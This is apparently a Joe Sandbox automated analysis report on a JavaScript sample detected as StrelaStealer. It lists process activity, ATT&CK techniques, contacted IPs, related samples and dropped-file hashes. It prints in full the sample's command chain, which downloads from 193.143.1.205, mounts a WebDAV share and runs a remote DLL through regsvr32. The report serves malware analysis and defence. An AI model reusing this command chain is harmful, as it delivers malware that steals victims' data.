Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1231561673271419181.js	8%	Virustotal		Browse
1231561673271419181.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1373264424.0000017F64F50000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2556346205.0000017F65000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1369097402.0000026037A78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tm	net.exe, 0000000D.00000002.1369097402.0000026037A78000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588611
Start date and time:	2025-01-11 03:07:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1231561673271419181.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, CompPkgSrv.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 52.6.155.20, 52.22.41.97, 3.233.129.217, 162.159.61.3, 172.64.41.3, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.22.50.144, 2.22.50.151, 2.22.242.123, 2.22.242.11, 13.107.246.45, 54.224.241.105, 52.149.20.212, 23.41.168.139, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:08:27	API Interceptor	27x Sleep call for process: powershell.exe modified
21:08:32	API Interceptor	1x Sleep call for process: net.exe modified
21:08:32	API Interceptor	2x Sleep call for process: svchost.exe modified
21:08:40	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066774520017416
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqg:2JIB/wUKUKQncEmYRTwh0c
MD5:	2444DEA1206FEB017B742A78FB08F01D
SHA1:	F6AB46F74E53D65AB5407BB6B14C7DBE7481B010
SHA-256:	15113A02655A33268DF5D50B7FFE777FF33C61B98FA1AA59A0B03C55A505A9D3
SHA-512:	CED5A91BF6DF163127D12BDF4C04C80B7C63E475FD682BE22322CD28B361DEEE4D4D90BE7600E9D76AD8AA17ED98E7BB3221AA851BDF56A73751E6807B6C2249
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe904bb80, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899856082663962
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	D1BC5DEEF482C1CF7209185DD8C964C5
SHA1:	5FDFE623D18DD952424C0E9DF19D8E3BC11D95C0
SHA-256:	70D85148C4B6C20D65786C135F3F96E2EF982549BB4B83A13248BB653169369D
SHA-512:	19020471AD996AFBA8EC5D2F80984C19E0FC5117DCDDA60B7050870F45295085A3D26D1A2F7376BF394478BC0D3BD4212F484EE9C1BBB9645EB6CBE50D5E989A
Malicious:	false
Preview:	....... ...............X\...;...{......................0.`.....42...{5.!....}+.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................D.!....}K....................;!....}+..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08149766964902991
Encrypted:	false
SSDEEP:	3:SUllKYezVZNt/57Dek3JLrpillEqW3l/TjzzQ/t:S0KzzVZPR3tLrpGmd8/
MD5:	E95C9FD2FCF1CDCAB06B998E5A95E6D4
SHA1:	8914610D47FF0A51F854C9D29D35A03337F6A8FB
SHA-256:	0DB802C5E0B36B6A39210D54AE94331AA3AF29AD3754718880AB3CC9243AC71A
SHA-512:	57D9E755A4E85C6775229E9E88AD0D9F8F38A6CA473821391AD1DA4CA523E1D457C8F7B40E5EFC41A1F0D88FE03B99EBD38A2F949F4DD233CBAD59357118ABDD
Malicious:	false
Preview:	..@.....................................;...{..!....}+.42...{5.........42...{5.42...{5...Y.42...{59...................;!....}+.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.196489257475478
Encrypted:	false
SSDEEP:	6:iO4q7d6Iq2PcNwi2nKuAl9OmbnIFUtSq7ocvZZmwsq7ocvzkwOcNwi2nKuAl9Omt:7VtvLZHAahFUtfoMZ/ZoMz54ZHAaSJ
MD5:	9A65D201FE4A874AA5EEDC7782E20C97
SHA1:	6FA1D7002D9C263A7E575C8359766363EC04E63F
SHA-256:	C7689620887FAACA31EEEFD07673A67686972C4AC836BB5659260EB6F6E5ABB0
SHA-512:	D3CA1A2E0B2270F7928A647BE38C8252E5E2C46FB9E5FE8C453F503AF67AB609DFF9540593BC5BE6F0AF4A0607557B4E0C80E79A6C2DDACA4DE9B73590B6726B
Malicious:	false
Preview:	2025/01/10-21:08:32.972 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:08:32.975 1c70 Recovering log #3.2025/01/10-21:08:32.975 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.196489257475478
Encrypted:	false
SSDEEP:	6:iO4q7d6Iq2PcNwi2nKuAl9OmbnIFUtSq7ocvZZmwsq7ocvzkwOcNwi2nKuAl9Omt:7VtvLZHAahFUtfoMZ/ZoMz54ZHAaSJ
MD5:	9A65D201FE4A874AA5EEDC7782E20C97
SHA1:	6FA1D7002D9C263A7E575C8359766363EC04E63F
SHA-256:	C7689620887FAACA31EEEFD07673A67686972C4AC836BB5659260EB6F6E5ABB0
SHA-512:	D3CA1A2E0B2270F7928A647BE38C8252E5E2C46FB9E5FE8C453F503AF67AB609DFF9540593BC5BE6F0AF4A0607557B4E0C80E79A6C2DDACA4DE9B73590B6726B
Malicious:	false
Preview:	2025/01/10-21:08:32.972 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:08:32.975 1c70 Recovering log #3.2025/01/10-21:08:32.975 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.11575671879521
Encrypted:	false
SSDEEP:	6:iO4qryq2PcNwi2nKuAl9Ombzo2jMGIFUtSqm1ZmwsqWug9RkwOcNwi2nKuAl9OmT:7wvLZHAa8uFUtK1/dg754ZHAa8RJ
MD5:	923B3AC398A1F7ED21934B0E878F021A
SHA1:	8E7763115F026BDFB6B8EC56A2200A926210FBBF
SHA-256:	0065E7436055D12C33267F3F3C8AD9CA73A466A4138BDBFC502FA1032BBC75B2
SHA-512:	CB83450661AB166FFF54D718B42CC589C5CC634FDF2D225FB14271BD1FCE150909621BF91EDE7DBDA32785870B053244496C67674355B2B763DE2545C7A9BCF2
Malicious:	false
Preview:	2025/01/10-21:08:33.018 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:08:33.019 1d30 Recovering log #3.2025/01/10-21:08:33.020 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.11575671879521
Encrypted:	false
SSDEEP:	6:iO4qryq2PcNwi2nKuAl9Ombzo2jMGIFUtSqm1ZmwsqWug9RkwOcNwi2nKuAl9OmT:7wvLZHAa8uFUtK1/dg754ZHAa8RJ
MD5:	923B3AC398A1F7ED21934B0E878F021A
SHA1:	8E7763115F026BDFB6B8EC56A2200A926210FBBF
SHA-256:	0065E7436055D12C33267F3F3C8AD9CA73A466A4138BDBFC502FA1032BBC75B2
SHA-512:	CB83450661AB166FFF54D718B42CC589C5CC634FDF2D225FB14271BD1FCE150909621BF91EDE7DBDA32785870B053244496C67674355B2B763DE2545C7A9BCF2
Malicious:	false
Preview:	2025/01/10-21:08:33.018 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:08:33.019 1d30 Recovering log #3.2025/01/10-21:08:33.020 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ef699ce-4090-4fb7-b01a-4eede24834cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5af6fc.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cdaf740d-b598-44aa-b997-0cbec6fa6db8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967574613836523
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOtsBdOg2Hecaq3QYiubSpDyP7E4T3y:Y2sRdsIdMHh3QYhbSpDa7nby
MD5:	4C4B1AC460D45FD0476CE3334EA498AF
SHA1:	871BBD72EC39835CCE6FB09BBE604A7C90E47D53
SHA-256:	498AEBC84E38AFE1B27990EC5C23A4082117A11F57E221226145A21C493E2B68
SHA-512:	422E3C647EC8EB309BDBCB1C5189E43E63014FA8BF8CC79B22F1F87B1A5CA8F39BB864BD98645990E80181BEEC274C6A58F73CA6DC1DA5368628E49AF8426267
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121324370669","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136879},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236800948483776
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP2NN2dht:CwNw1GHqPySfkcigoO3h28ytP2NNeht
MD5:	81F9E6E562AFF8B04295195CC117230A
SHA1:	7FF57E7EFD70A5B854E210551D980E31F8B9FAF5
SHA-256:	44CA34CDCCF1D2E70B38AE3A7FEBCDAC32BD128838EAB1FD171217C26030C849
SHA-512:	CB16F2F4F1B87E8517B2A0820B67A259D025A1BB4C59CA4DB843C0977BDAC455588864B1E8E4B5D03644502114DC3A04BDFFE008FB7960E3E1F0C2E635D2A54E
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.156032297538616
Encrypted:	false
SSDEEP:	6:iO4qDyq2PcNwi2nKuAl9OmbzNMxIFUtSqG1ZmwsqCRkwOcNwi2nKuAl9OmbzNMFd:7EvLZHAa8jFUti1/M54ZHAa84J
MD5:	60C9B1941AC4B0E669E966309F91C7D7
SHA1:	E8047C3E0114665C69D5E9977CB2B80B4A0427D0
SHA-256:	CF0DC1A394E6FD77839AA9408AD1B9BDA48652454158A8E7104E3C67F8C30510
SHA-512:	70A8B3B72918BED6C16A141141E5077E505D4D3EDA3FF47748AED476A79E6B29E6E4FC29DBEF8ADADE675AB54B48B83860E13C9B12E1FB7EA3B11C7E7E548600
Malicious:	false
